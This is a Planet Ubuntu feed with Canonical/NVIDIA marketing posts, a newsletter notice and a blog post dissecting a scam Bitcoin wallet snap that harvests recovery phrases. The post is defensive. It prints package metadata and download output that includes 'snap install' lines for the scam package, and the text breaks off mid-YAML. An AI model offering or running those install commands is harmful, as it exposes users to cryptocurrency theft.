Planet Ubuntu
http://planet.ubuntu.com/
Planet Ubuntu - http://planet.ubuntu.com/Ubuntu Blog: Canonical accelerates AI Application Development with NVIDIA AI Enterprise
https://ubuntu.com//blog/charmed-k8s-support-comes-to-nvidia-ai-enterprise
<h1 class="wp-block-heading">Charmed Kubernetes support comes to NVIDIA AI Enterprise</h1>
<p>Canonical’s Charmed Kubernetes is now supported on <a href="https://www.nvidia.com/en-us/data-center/products/ai-enterprise/">NVIDIA AI Enterprise 5.0</a>. Organisations using Kubernetes deployments on Ubuntu can look forward to a seamless licensing migration to the latest release of the <a href="https://www.nvidia.com/en-us/data-center/products/ai-enterprise/">NVIDIA AI Enterprise</a> software platform providing developers the latest AI models and optimised runtimes.</p>
<h2 class="wp-block-heading">NVIDIA AI Enterprise 5.0</h2>
<p>NVIDIA AI Enterprise 5.0 is supported across workstations, data centres, and cloud deployments, new updates include:</p>
<ul>
<li>NVIDIA NIM microservices is a set of cloud-native microservices developers can use as building blocks to support custom AI application development and speed production AI, and will be supported on Charmed Kubernetes.</li>
<li><a href="http://ai.nvidia.com">NVIDIA API catalog</a>: providing quick access for enterprise developers to experiment, prototype and test NVIDIA-optimised foundation models powered by NIM. When ready to deploy, enterprise developers can export the enterprise-ready API and run on a self-hosted system</li>
<li>Infrastructure management enhancements include support for vGPU heterogeneous profiles, Charmed Kubernetes, and new GPU platforms.</li>
</ul>
<h2 class="wp-block-heading">Charmed Kubernetes and NVIDIA AI Enterprise 5.0</h2>
<p>Data scientists and developers leveraging NVIDIA frameworks and workflows on Ubuntu across the board now have a single platform to rapidly develop AI applications on the latest generation NVIDIA Tensor Core GPUs. For data scientists and AI/ML developers who would like to deploy their latest AI workloads using kubernetes, it is vital to leverage the most performance out of Tensor Core GPUs through NVIDIA drivers and integrations.</p>
<div class="wp-block-image">
<figure class="aligncenter">
<div class="lazyload" data-noscript="">
<noscript>
<img alt="" src="https://res.cloudinary.com/canonical/image/fetch/f_auto,q_auto,fl_sanitize,c_fill,w_720/https://lh7-us.googleusercontent.com/qafLgDmRQlzyQ_96dYJkeUBiPT1iFHcgQjCevEw1QxqCd9vCofG6dnWYpsKUrR9RMzM-hZyzZVOoRdim2moXMzT-4v5aTsennEU0cQfWClkWDhuTyszEDTxskryrIE_42oO3N215u0o" width="720" />
</noscript>
</div>
Fig. NVIDIA AI Enterprise 5.0</figure></div>
<p>With Charmed Kubernetes from Canonical, several features are provided that are unique to this distribution including inclusion of NVIDIA operators and GPU optimisation features, composability and extensibility using customised integrations through Ubuntu operating system.</p>
<h2 class="wp-block-heading">Best-In-Class Kubernetes from Canonical </h2>
<p>Charmed Kubernetes can automatically detect GPU-enabled hardware and install required drivers from NVIDIA repositories. With the release of Charmed Kubernetes 1.29, the <a href="https://charmhub.io/nvidia-gpu-operator?channel=1.29/stable">NVIDIA GPU Operator charm</a> is available for specific GPU configuration and tuning. With support for GPU operators in Charmed K8s, organisations can rapidly and repeatedly deploy the same models utilising existing on-prem or cloud infrastructure to power AI workloads. </p>
<p>With the NVIDIA GPU operator, users can automatically detect the GPU on the system and install NVIDIA repositories. It also allows for the most optimal configurations through features such as <a href="https://www.nvidia.com/en-us/technologies/multi-instance-gpu/">NVIDIA Multi-Instance GPU</a> (MIG) technology in order to leverage the most efficiency out of the Tensor Core GPUs. GPU-optimised instances for AI/ML applications reduce latency and allow for more data processing, freeing for larger-scale applications and more complex model deployment. </p>
<p>Paired with the GPU Operator, the Network Operator enables GPUDirect RDMA (GDR), a key technology that accelerates cloud-native AI workloads by orders of magnitude. GDR allows for optimised network performance, by enhancing data throughput and reducing latency. Another distinctive advantage is its seamless compatibility with NVIDIA’s ecosystem, ensuring a cohesive experience for users. Furthermore, its design, tailored for Kubernetes, ensures scalability and adaptability in various deployment scenarios. This all leads to more efficient networking operations, making it an invaluable tool for businesses aiming to harness the power of GPU-accelerated networking in their Kubernetes environments.</p>
<p>Speaking about these solutions, Marcin “Perk” Stożek, Kubernetes Product Manager at Canonical says: “Charmed Kubernetes validation with NVIDIA AI Enterprise is an important step towards an enterprise-grade, end-to-end solution for AI workloads. By integrating NVIDIA Operators with Charmed Kubernetes, we make sure that customers get what matters to them most: efficient infrastructure for their generative AI workloads.” </p>
<p>Getting started is easy (and free). You can rest assured that Canonical experts are available to help if required.</p>
<h2 class="wp-block-heading">Get started with Canonical open source solutions with NVIDIA AI Enterprise </h2>
<p>Try out NVIDIA AI Enterprise with Charmed Kubernetes with a free, 90-day <a href="http://www.nvidia.com/ai-enterprise-eval">evaluation</a></p>
<ul>
<li><a href="https://docs.nvidia.com/nvidia-ai-enterprise-and-charmed-kubernetes-deployment-guide.pdf">NVIDIA AI Enterprise and Charmed Kubernetes Deployment Guide</a></li>
<li>Check out more information about <a href="https://ubuntu.com/nvidia">Canonical and NVIDIA’s efforts to help enterprises adopt AI</a></li>
<li>Canonical software is validated as part of the <a href="https://www.nvidia.com/en-us/data-center/dgx-ready-software/">NVIDIA DGX-Ready Software program</a></li>
<li>GPU acceleration, <a href="https://ubuntu.com/kubernetes/docs/gpu-workers">using GPU workers</a></li>
<li>NVIDIA integration <a href="https://microk8s.io/docs/addon-gpu">GPU operator and MIG</a></li>
<li>Solution brief: <a href="https://ubuntu.com/engage/kubernetes-by-canonical-delivered-on-nvidia-dgx-systems">Kubernetes by Canonical delivered on NVIDIA DGX systems</a></li>
</ul>2024-03-18T22:10:00+00:00Karen Horovitz (Karen Horovitz)Ubuntu Blog: Accelerate AI development with Ubuntu and NVIDIA AI Workbench
https://ubuntu.com//blog/accelerate-ai-development-with-ubuntu-and-nvidia-ai-workbench
<div class="wp-block-image">
<figure class="aligncenter">
<div class="lazyload" data-noscript="">
<noscript>
<img alt="" src="https://res.cloudinary.com/canonical/image/fetch/f_auto,q_auto,fl_sanitize,c_fill,w_720/https://lh7-us.googleusercontent.com/A_HSmF3YJY7LbaSsFWcwJLdGiA6MnAi0cCqmtDYmAXd9SE4B5u4AZZ14WVrokXR0VGrG0r_gG6LkQBgXODhC5ZIT9dLt5WvErPgVEoqwFi3HCF15wWDxp7gRE02-IkzqAJt0k5O7zNzwQ-XEC4VhPA" width="720" />
</noscript>
</div>
Fig.1. NVIDIA AI Workbench</figure></div>
<p>Canonical expands its collaboration with NVIDIA through NVIDIA AI Workbench. NVIDIA AI Workbench is supported across workstations, data centres, and cloud deployments.</p>
<p>NVIDIA AI Workbench is an easy-to-use toolkit that allows developers to create, test, and customise AI and machine learning models on their PC or workstation and scale them to the data centre or public cloud. It simplifies interactive development workflows while automating technical tasks that halt beginners and derail experts. Collaborative AI and ML development is now possible on any platform – and for any skill level. </p>
<p>As the preferred OS for data science, artificial intelligence and machine learning, Ubuntu and Canonical play an integral role in AI Workbench capabilities. </p>
<ul>
<li>On Windows, Ubuntu powers AI Workbench via WSL2. </li>
<li>In the cloud, Ubuntu 22.04 LTS enables AI Workbench cloud deployments as the only target OS supported for remote machines. </li>
<li>For AI application deployments from the datacenter to cloud to edge, Ubuntu-based containers are included as a key part of AI Workbench.</li>
</ul>
<p>This seamless end user experience is made possible thanks to the partnership between Canonical and NVIDIA.</p>
<h2 class="wp-block-heading">Define your AI journey, start local and scale globally</h2>
<p>Create, collaborate, and reproduce generative AI and data science projects with ease. Develop and execute while NVIDIA AI Workbench handles the rest:</p>
<ul>
<li><strong>Streamlined setup</strong>: easy installation and configuration of containerized development environments for GPU-accelerated hardware.</li>
<li><strong>Laptop to cloud</strong>: start locally on a RTX PC or workstation and scale out to data centre or cloud in just a few clicks.</li>
<li><strong>Automated workflow management</strong>: simplified management of project resources, versioning, and dependency tracking.</li>
</ul>
<div class="wp-block-image">
<figure class="aligncenter">
<div class="lazyload" data-noscript="">
<noscript>
<img alt="" src="https://res.cloudinary.com/canonical/image/fetch/f_auto,q_auto,fl_sanitize,c_fill,w_720/https://lh7-us.googleusercontent.com/-EfBv9zbee0oO4GP3pn1BshghxzEY-nkQzA2UKs-3AhtG1UHRto_n1-LTitJ9YCp0XEhry_s6TCRMGoJ7aNMY7DvrHOaSnEZEwLEuveXo6GicOqjuHqi4eWB-SKU8i9bSr6_YKtG9w-iFybrLWN7nQ" width="720" />
</noscript>
</div>
Fig 2. Environment Window in AI Workbench Desktop App</figure></div>
<h2 class="wp-block-heading">Ubuntu and NVIDIA AI Workbench improve the end user experience for Generative AI workloads on client machines</h2>
<p>As the established OS for data science, Ubuntu is now commonly being used for AI/ML development and deployment purposes. This includes development, processing, and iterations of Generative AI (GenAI) workloads. GenAI on both smaller devices and GPUs is increasingly important with the growth of edge AI applications and devices. Applications such as smart cities require more edge devices such as cameras and sensors and thus require more data to be processed at the edge. To make it easier for end users to deploy workloads with more customisability, Ubuntu containers are often preferred due to their ease of use for bare metal deployments. NVIDIA AI Workbench offers Ubuntu container options that are well integrated and suited for GenAI use cases.</p>
<div class="wp-block-image">
<figure class="aligncenter">
<div class="lazyload" data-noscript="">
<noscript>
<img alt="" src="https://res.cloudinary.com/canonical/image/fetch/f_auto,q_auto,fl_sanitize,c_fill,w_720/https://lh7-us.googleusercontent.com/xp2N0FrI5yUtEwGTbxkrDp1USeMgoL1Wo5O72Lqm4mXzSd6Uv-TulZfsilYc9YHynFb3EEq2ln-KAp0KWsgLBTL4OXhpPyUVsC9MAdAxT4IweW4TeE1YNyRO2K0tah-I7Tk2H43t7w_hjfiXN7hIIA" width="720" />
</noscript>
</div>
Fig 3. AI Workbench Development Workflow</figure></div>
<h2 class="wp-block-heading">Peace of mind with Ubuntu LTS</h2>
<p>With Ubuntu, developers benefit from Canonical’s 20-year track record of Long Term Supported releases, delivering security updates and patching for 5 years. With <a href="https://ubuntu.com/pro">Ubuntu Pro</a>, organisations can extend that support and security maintenance commitment to 10 years to offload security and compliance from their team so you can focus on building great models. Together, Canonical and Ubuntu provide an optimised and secure environment for AI innovators wherever they are. </p>
<p><a href="https://www.nvidia.com/en-us/deep-learning-ai/solutions/data-science/workbench/">Getting started</a> is easy (and free).</p>
<h2 class="wp-block-heading">Get started with Canonical Open Source AI Solutions</h2>
<ul>
<li>Check out more information about <a href="https://ubuntu.com/nvidia">Canonical and NVIDIA’s efforts to help enterprises adopt AI</a>.</li>
<li>Canonical software is validated as part of the <a href="https://www.nvidia.com/en-us/data-center/dgx-ready-software/">NVIDIA DGX-Ready Software program</a>.</li>
<li>Download the <a href="https://ubuntu.com/engage/run-ai-at-scale">Run AI at scale whitepaper </a>to learn how to build your performant ML stack with NVIDIA DGX and Kubeflow.</li>
<li>Check out more information about <a href="https://www.nvidia.com/en-us/deep-learning-ai/solutions/data-science/workbench/">AI Workbench</a>.</li>
</ul>2024-03-18T22:10:00+00:00Karen Horovitz (Karen Horovitz)The Fridge: Ubuntu Weekly Newsletter Issue 831
https://fridge.ubuntu.com/2024/03/18/ubuntu-weekly-newsletter-issue-831/
<figure class="wp-block-image"><img alt="" src="https://fridge.ubuntu.com/wp-content/uploads/2020/02/c9d7/header.png" /></figure>
<p>Welcome to the Ubuntu Weekly Newsletter, <strong>Issue 831 for the week of March 10 – 16, 2024</strong>. The full version of this issue is available <a href="https://discourse.ubuntu.com/t/ubuntu-weekly-newsletter-issue-831/43245">here</a>.</p>
<p>In this issue we cover:</p>
<ul><li>Welcome New Members and Developers</li><li>Ubuntu Stats</li><li>Hot in Support</li><li>UbuCon Asia 2024 – Call for proposals</li><li>Catalan Team: Call for participation in the Noble Festival</li><li>LoCo Events</li><li>Ubuntu Quality – Communications and Testing Practices</li><li>Other Community News</li><li>Ubuntu Cloud News</li><li>Canonical News</li><li>In the Press</li><li>In the Blogosphere</li><li>Other Articles of Interest</li><li>Featured Audio and Video</li><li>Meeting Reports</li><li>Upcoming Meetings and Events</li><li>Updates and Security for Ubuntu 20.04, 22.04, and 23.10</li><li>And much more!</li></ul>
<p><strong>The Ubuntu Weekly Newsletter is brought to you by:</strong></p>
<ul><li>Krytarik Raido</li><li>Bashing-om</li><li>Chris Guiver</li><li>Wild Man</li><li>And many others</li></ul>
<p>If you have a story idea for the Weekly Newsletter, join the <a href="https://lists.ubuntu.com/mailman/listinfo/Ubuntu-news-team">Ubuntu News Team mailing list</a> and submit it. Ideas can also be added to the <a href="https://wiki.ubuntu.com/UbuntuWeeklyNewsletter/Ideas">wiki</a>!</p>
<div class="wp-block-image"><figure class="alignleft"><img alt="" src="https://fridge.ubuntu.com/wp-content/uploads/2015/05/ab28/CCL.png" /></figure></div>
<p></p>2024-03-18T21:08:51+00:00guivercAlan Pope: Guess Who's Back? Exodus Scam BitCoin Wallet Snap!
https://popey.com/blog/2024/03/exodus-wallet-part-three/
<h2 id="previously">Previously…</h2>
<p>Back in February, I <a href="https://popey.com/blog/blog/2024/02/exodus-bitcoin-wallet-490k-swindle/">blogged</a> about a series of scam Bitcoin wallet apps that were published in the Canonical Snap store, including one which netted a scammer <strong>$490K</strong> of some poor rube’s coin.</p>
<p>The snap was <em>eventually</em> <a href="https://popey.com/blog/blog/2024/02/exodus-bitcoin-wallet-follow-up">removed</a>, and <a href="https://forum.snapcraft.io/t/should-unverified-cryptocurrency-apps-be-banned/38919/4">some</a> <a href="https://forum.snapcraft.io/t/stronger-identity-verification-for-all-publishers/39061">threads</a> were started over on the <a href="https://snapcraft.io/">Snapcraft forum</a></p>
<h2 id="groundhog-day">Groundhog Day</h2>
<p>Nothing has changed it seems, because once again, <strong>ANOTHER</strong> <strong>TEN</strong> scam BitCoin wallet apps have been published in the Snap Store today.</p>
<p><a href="https://www.youtube.com/watch?v=H6-IQAdFU3w"><img alt="You’re joking! Not another one!" src="https://popey.com/blog/blog/images/2024-03-18/not-another-one.gif" /></a></p>
<p>Yes, Brenda!</p>
<p>This one has the snappy (sorry) name of <code>exodus-build-96567</code> published by that not-very-legit looking publisher <code>digisafe00000</code>. Uh-huh.</p>
<p><strong>Edit</strong>: Initially I wrote this post after analysing one of the snaps I stumbled upon. It’s been pointed out there’s a whole bunch under this account. All with popular cryto wallet brand names.</p>
<p><a href="https://popey.com/blog/blog/images/2024-03-18/publisher-1_50.png"><img alt="Publisher digisafe00000" src="https://popey.com/blog/blog/images/2024-03-18/publisher-1.png" /></a></p>
<p>There’s no indication this is the same developer as the last scam Exodus Wallet snap published in February, or the one published back in November last year.</p>
<h2 id="presentation">Presentation</h2>
<p>Here’s what it looks like on the Snap Store page <a href="https://snapcraft.io/exodus-build-96567">https://snapcraft.io/exodus-build-96567</a> - which may be gone by the time you see this. A real <em>minimum effort</em> on the store listing page here. But I’m sure it could fool someone, they usually do.</p>
<p><a href="https://popey.com/blog/blog/images/2024-03-18/snap-store-1.png"><img alt="A not very legit looking snap" src="https://popey.com/blog/blog/images/2024-03-18/snap-store-1_50.png" /></a></p>
<p>It also shows up in searches within the desktop graphical storefront “Ubuntu Software” or “App Centre”, making it super easy to install.</p>
<p><strong>Note:</strong> Do <strong>not</strong> install this.</p>
<p>“<em>Secure, Manage, and Swap all your favorite assets</em>.” None of that is true, as we’ll see later. Although one could argue “swap” is true if you don’t mind “swapping” all your BitCoin for an empty wallet, I suppose.</p>
<p>Although it is “<em>Safe</em>”, apparently, according to the store listing.</p>
<p><a href="https://popey.com/blog/blog/images/2024-03-18/snap-store-2.png"><img alt="Coming to a desktop near you" src="https://popey.com/blog/blog/images/2024-03-18/snap-store-2_50.png" /></a></p>
<h2 id="open-wide">Open wide</h2>
<p>It looks like the <code>exodus-build-96567</code> snap was only published to the store today. I wonder what happened to builds 1 through 96566!</p>
<div class="highlight"><pre tabindex="0"><code class="language-bash" data-lang="bash"><span style="display: flex;"><span>$ snap info
</span></span><span style="display: flex;"><span>name: exodus-build-96567
</span></span><span style="display: flex;"><span>summary: Secure, Manage, and Swap all your favorite assets.
</span></span><span style="display: flex;"><span>publisher: Digital Safe <span style="color: #f92672;">(</span>digisafe00000<span style="color: #f92672;">)</span>
</span></span><span style="display: flex;"><span>store-url: https://snapcraft.io/exodus-build-96567
</span></span><span style="display: flex;"><span>license: unset
</span></span><span style="display: flex;"><span>description: |
</span></span><span style="display: flex;"><span> Forget managing a million different wallets and seed phrases.
</span></span><span style="display: flex;"><span> Secure, Manage, and Swap all your favorite assets in one beautiful, easy-to-use wallet.
</span></span><span style="display: flex;"><span>snap-id: wvexSLuTWD9MgXIFCOB0GKhozmeEijHT
</span></span><span style="display: flex;"><span>channels:
</span></span><span style="display: flex;"><span> latest/stable: 8.6.5 2024-03-18 <span style="color: #f92672;">(</span>1<span style="color: #f92672;">)</span> 565kB -
</span></span><span style="display: flex;"><span> latest/candidate: ↑
</span></span><span style="display: flex;"><span> latest/beta: ↑
</span></span><span style="display: flex;"><span> latest/edge: ↑
</span></span></code></pre></div><p>Here’s the app running in a VM.</p>
<p><a href="https://popey.com/blog/blog/images/2024-03-18/exodus-wallet-2.png"><img alt="The application" src="https://popey.com/blog/blog/images/2024-03-18/exodus-wallet-2_50.png" /></a></p>
<p>If you try and create a new wallet, it waits a while then gives a spurious error. That code path likely does nothing. What it really wants you to do is “Add an existing wallet”.</p>
<p><a href="https://popey.com/blog/blog/images/2024-03-18/exodus-wallet-1.png"><img alt="Give us all your money" src="https://popey.com/blog/blog/images/2024-03-18/exodus-wallet-1_50.png" /></a></p>
<p>As with all these scam application, all it does is ask for a BitCoin recovery phrase, and with that will likely steal all the coins and send them off to the scammer’s wallet. Obviously I didn’t test this with a real wallet phrase.</p>
<p>When given a false passphrase/recovery-key it calls some remote API then shows a dubious error, having already taken your recovery key, and sent it to the scammer.</p>
<p><a href="https://popey.com/blog/blog/images/2024-03-18/error-1.png"><img alt="Error" src="https://popey.com/blog/blog/images/2024-03-18/error-1_50.png" /></a></p>
<h2 id="whats-inside">What’s inside?</h2>
<p>While the snap is still available for download from the store, I grabbed it.</p>
<div class="highlight"><pre tabindex="0"><code class="language-bash" data-lang="bash"><span style="display: flex;"><span>$ snap download exodus-build-96567
</span></span><span style="display: flex;"><span>Fetching snap <span style="color: #e6db74;">"exodus-build-96567"</span>
</span></span><span style="display: flex;"><span>Fetching assertions <span style="color: #66d9ef;">for</span> <span style="color: #e6db74;">"exodus-build-96567"</span>
</span></span><span style="display: flex;"><span>Install the snap with:
</span></span><span style="display: flex;"><span> snap ack exodus-build-96567_1.assert
</span></span><span style="display: flex;"><span> snap install exodus-build-96567_1.snap
</span></span></code></pre></div><p>I then unpacked the snap to take a peek inside.</p>
<div class="highlight"><pre tabindex="0"><code class="language-bash" data-lang="bash"><span style="display: flex;"><span>unsquashfs exodus-build-96567_1.snap
</span></span><span style="display: flex;"><span>Parallel unsquashfs: Using <span style="color: #ae81ff;">8</span> processors
</span></span><span style="display: flex;"><span><span style="color: #ae81ff;">11</span> inodes <span style="color: #f92672;">(</span><span style="color: #ae81ff;">21</span> blocks<span style="color: #f92672;">)</span> to write
</span></span><span style="display: flex;"><span>
</span></span><span style="display: flex;"><span><span style="color: #f92672;">[===========================================================</span>|<span style="color: #f92672;">]</span> 32/32 100%
</span></span><span style="display: flex;"><span>
</span></span><span style="display: flex;"><span>created <span style="color: #ae81ff;">11</span> files
</span></span><span style="display: flex;"><span>created <span style="color: #ae81ff;">8</span> directories
</span></span><span style="display: flex;"><span>created <span style="color: #ae81ff;">0</span> symlinks
</span></span><span style="display: flex;"><span>created <span style="color: #ae81ff;">0</span> devices
</span></span><span style="display: flex;"><span>created <span style="color: #ae81ff;">0</span> fifos
</span></span><span style="display: flex;"><span>created <span style="color: #ae81ff;">0</span> sockets
</span></span><span style="display: flex;"><span>created <span style="color: #ae81ff;">0</span> hardlinks
</span></span></code></pre></div><p>There’s not a lot in here. Mostly the usual snap scaffolding, metadata, and the single <code>exodus-bin</code> application binary in <code>bin/</code>.</p>
<div class="highlight"><pre tabindex="0"><code class="language-bash" data-lang="bash"><span style="display: flex;"><span>tree squashfs-root/
</span></span><span style="display: flex;"><span>squashfs-root/
</span></span><span style="display: flex;"><span>├── bin
</span></span><span style="display: flex;"><span>│ └── exodus-bin
</span></span><span style="display: flex;"><span>├── meta
</span></span><span style="display: flex;"><span>│ ├── gui
</span></span><span style="display: flex;"><span>│ │ ├── exodus-build-96567.desktop
</span></span><span style="display: flex;"><span>│ │ └── exodus-build-96567.png
</span></span><span style="display: flex;"><span>│ ├── hooks
</span></span><span style="display: flex;"><span>│ │ └── configure
</span></span><span style="display: flex;"><span>│ └── snap.yaml
</span></span><span style="display: flex;"><span>└── snap
</span></span><span style="display: flex;"><span> ├── command-chain
</span></span><span style="display: flex;"><span> │ ├── desktop-launch
</span></span><span style="display: flex;"><span> │ ├── hooks-configure-fonts
</span></span><span style="display: flex;"><span> │ └── run
</span></span><span style="display: flex;"><span> ├── gui
</span></span><span style="display: flex;"><span> │ ├── exodus-build-96567.desktop
</span></span><span style="display: flex;"><span> │ └── exodus-build-96567.png
</span></span><span style="display: flex;"><span> └── snapcraft.yaml
</span></span><span style="display: flex;"><span>
</span></span><span style="display: flex;"><span><span style="color: #ae81ff;">8</span> directories, <span style="color: #ae81ff;">11</span> files
</span></span></code></pre></div><p>Here’s the <code>snapcraft.yaml</code> used to build the package. Note it needs network access, unsurprisingly.</p>
<div class="highlight"><pre tabindex="0"><code class="language-yaml" data-lang="yaml"><span style="display: flex;"><span><span style="color: #f92672;">name</span>: <span style="color: #ae81ff;">exodus-build-96567</span> <span style="color: #75715e;"># you probably want to 'snapcraft register <name>'</span>
</span></span><span style="display: flex;"><span><span style="color: #f92672;">base</span>: <span style="color: #ae81ff;">core22</span> <span style="color: #75715e;"># the base snap is the execution environment for this snap</span>
</span></span><span style="display: flex;"><span><span style="color: #f92672;">version</span>: <span style="color: #e6db74;">'8.6.5'</span> <span style="color: #75715e;"># just for humans, typically '1.2+git' or '1.3.2'</span>
</span></span><span style="display: flex;"><span><span style="color: #f92672;">title</span>: <span style="color: #ae81ff;">Exodus Wallet</span>
</span></span><span style="display: flex;"><span><span style="color: #f92672;">summary</span>: <span style="color: #ae81ff;">Secure, Manage, and Swap all your favorite assets.</span> <span style="color: #75715e;"># 79 char long summary</span>
</span></span><span style="display: flex;"><span><span style="color: #f92672;">description</span>: |<span style="color: #e6db74;">
</span></span></span><span style="display: flex;"><span><span style="color: #e6db74;"> Forget managing a million different wallets and seed phrases.
</span></span></span><span style="display: flex;"><span><span style="color: #e6db74;"> Secure, Manage, and Swap all your favorite assets in one beautiful, easy-to-use wallet.</span>
</span></span><span style="display: flex;"><span>
</span></span><span style="display: flex;"><span><span style="color: #f92672;">grade</span>: <span style="color: #ae81ff;">stable</span> <span style="color: #75715e;"># must be 'stable' to release into candidate/stable channels</span>
</span></span><span style="display: flex;"><span><span style="color: #f92672;">confinement</span>: <span style="color: #ae81ff;">strict</span> <span style="color: #75715e;"># use 'strict' once you have the right plugs and slots</span>
</span></span><span style="display: flex;"><span>
</span></span><span style="display: flex;"><span><span style="color: #f92672;">apps</span>:
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">exodus-build-96567</span>:
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">command</span>: <span style="color: #ae81ff;">bin/exodus-bin</span>
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">extensions</span>: [<span style="color: #ae81ff;">gnome]</span>
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">plugs</span>:
</span></span><span style="display: flex;"><span> - <span style="color: #ae81ff;">network</span>
</span></span><span style="display: flex;"><span> - <span style="color: #ae81ff;">unity7</span>
</span></span><span style="display: flex;"><span> - <span style="color: #ae81ff;">network-status</span>
</span></span><span style="display: flex;"><span>
</span></span><span style="display: flex;"><span><span style="color: #f92672;">layout</span>:
</span></span><span style="display: flex;"><span> <span style="color: #ae81ff;">/usr/lib/${SNAPCRAFT_ARCH_TRIPLET}/webkit2gtk-4.1:</span>
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">bind</span>: <span style="color: #ae81ff;">$SNAP/gnome-platform/usr/lib/$SNAPCRAFT_ARCH_TRIPLET/webkit2gtk-4.0</span>
</span></span><span style="display: flex;"><span>
</span></span><span style="display: flex;"><span><span style="color: #f92672;">parts</span>:
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">exodus-build-96567</span>:
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">plugin</span>: <span style="color: #ae81ff;">dump</span>
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">source</span>: <span style="color: #ae81ff;">.</span>
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">organize</span>:
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">exodus-bin</span>: <span style="color: #ae81ff;">bin/</span>
</span></span></code></pre></div><p>For completeness, here’s the <code>snap.yaml</code> that gets generated at build-time.</p>
<div class="highlight"><pre tabindex="0"><code class="language-yaml" data-lang="yaml"><span style="display: flex;"><span><span style="color: #f92672;">name</span>: <span style="color: #ae81ff;">exodus-build-96567</span>
</span></span><span style="display: flex;"><span><span style="color: #f92672;">title</span>: <span style="color: #ae81ff;">Exodus Wallet</span>
</span></span><span style="display: flex;"><span><span style="color: #f92672;">version</span>: <span style="color: #ae81ff;">8.6.5</span>
</span></span><span style="display: flex;"><span><span style="color: #f92672;">summary</span>: <span style="color: #ae81ff;">Secure, Manage, and Swap all your favorite assets.</span>
</span></span><span style="display: flex;"><span><span style="color: #f92672;">description</span>: |<span style="color: #e6db74;">
</span></span></span><span style="display: flex;"><span><span style="color: #e6db74;"> Forget managing a million different wallets and seed phrases.
</span></span></span><span style="display: flex;"><span><span style="color: #e6db74;"> Secure, Manage, and Swap all your favorite assets in one beautiful, easy-to-use wallet.</span>
</span></span><span style="display: flex;"><span><span style="color: #f92672;">architectures</span>:
</span></span><span style="display: flex;"><span>- <span style="color: #ae81ff;">amd64</span>
</span></span><span style="display: flex;"><span><span style="color: #f92672;">base</span>: <span style="color: #ae81ff;">core22</span>
</span></span><span style="display: flex;"><span><span style="color: #f92672;">assumes</span>:
</span></span><span style="display: flex;"><span>- <span style="color: #ae81ff;">command-chain</span>
</span></span><span style="display: flex;"><span>- <span style="color: #ae81ff;">snapd2.43</span>
</span></span><span style="display: flex;"><span><span style="color: #f92672;">apps</span>:
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">exodus-build-96567</span>:
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">command</span>: <span style="color: #ae81ff;">bin/exodus-bin</span>
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">plugs</span>:
</span></span><span style="display: flex;"><span> - <span style="color: #ae81ff;">desktop</span>
</span></span><span style="display: flex;"><span> - <span style="color: #ae81ff;">desktop-legacy</span>
</span></span><span style="display: flex;"><span> - <span style="color: #ae81ff;">gsettings</span>
</span></span><span style="display: flex;"><span> - <span style="color: #ae81ff;">opengl</span>
</span></span><span style="display: flex;"><span> - <span style="color: #ae81ff;">wayland</span>
</span></span><span style="display: flex;"><span> - <span style="color: #ae81ff;">x11</span>
</span></span><span style="display: flex;"><span> - <span style="color: #ae81ff;">network</span>
</span></span><span style="display: flex;"><span> - <span style="color: #ae81ff;">unity7</span>
</span></span><span style="display: flex;"><span> - <span style="color: #ae81ff;">network-status</span>
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">command-chain</span>:
</span></span><span style="display: flex;"><span> - <span style="color: #ae81ff;">snap/command-chain/desktop-launch</span>
</span></span><span style="display: flex;"><span><span style="color: #f92672;">confinement</span>: <span style="color: #ae81ff;">strict</span>
</span></span><span style="display: flex;"><span><span style="color: #f92672;">grade</span>: <span style="color: #ae81ff;">stable</span>
</span></span><span style="display: flex;"><span><span style="color: #f92672;">environment</span>:
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">SNAP_DESKTOP_RUNTIME</span>: <span style="color: #ae81ff;">$SNAP/gnome-platform</span>
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">GTK_USE_PORTAL</span>: <span style="color: #e6db74;">'1'</span>
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">LD_LIBRARY_PATH</span>: <span style="color: #ae81ff;">${SNAP_LIBRARY_PATH}${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}</span>
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">PATH</span>: <span style="color: #ae81ff;">$SNAP/usr/sbin:$SNAP/usr/bin:$SNAP/sbin:$SNAP/bin:$PATH</span>
</span></span><span style="display: flex;"><span><span style="color: #f92672;">plugs</span>:
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">desktop</span>:
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">mount-host-font-cache</span>: <span style="color: #66d9ef;">false</span>
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">gtk-3-themes</span>:
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">interface</span>: <span style="color: #ae81ff;">content</span>
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">target</span>: <span style="color: #ae81ff;">$SNAP/data-dir/themes</span>
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">default-provider</span>: <span style="color: #ae81ff;">gtk-common-themes</span>
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">icon-themes</span>:
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">interface</span>: <span style="color: #ae81ff;">content</span>
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">target</span>: <span style="color: #ae81ff;">$SNAP/data-dir/icons</span>
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">default-provider</span>: <span style="color: #ae81ff;">gtk-common-themes</span>
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">sound-themes</span>:
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">interface</span>: <span style="color: #ae81ff;">content</span>
</span></span><span style="display: flex;"><span> <span style="color: #f92672;">target</span>: <span style="color: #ae81ff;">$SNAP/data-dir/sounds</span>
